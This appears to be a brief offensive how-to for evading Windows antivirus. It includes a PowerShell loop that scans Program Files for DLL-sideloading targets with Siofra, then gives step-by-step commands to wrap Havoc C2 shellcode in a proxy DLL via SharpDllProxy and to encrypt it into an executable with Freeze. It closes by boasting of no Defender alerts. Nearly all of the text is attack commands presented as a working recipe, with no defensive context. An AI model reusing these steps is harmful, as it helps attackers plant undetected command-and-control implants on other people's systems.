Antivirus (AV) Bypass

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
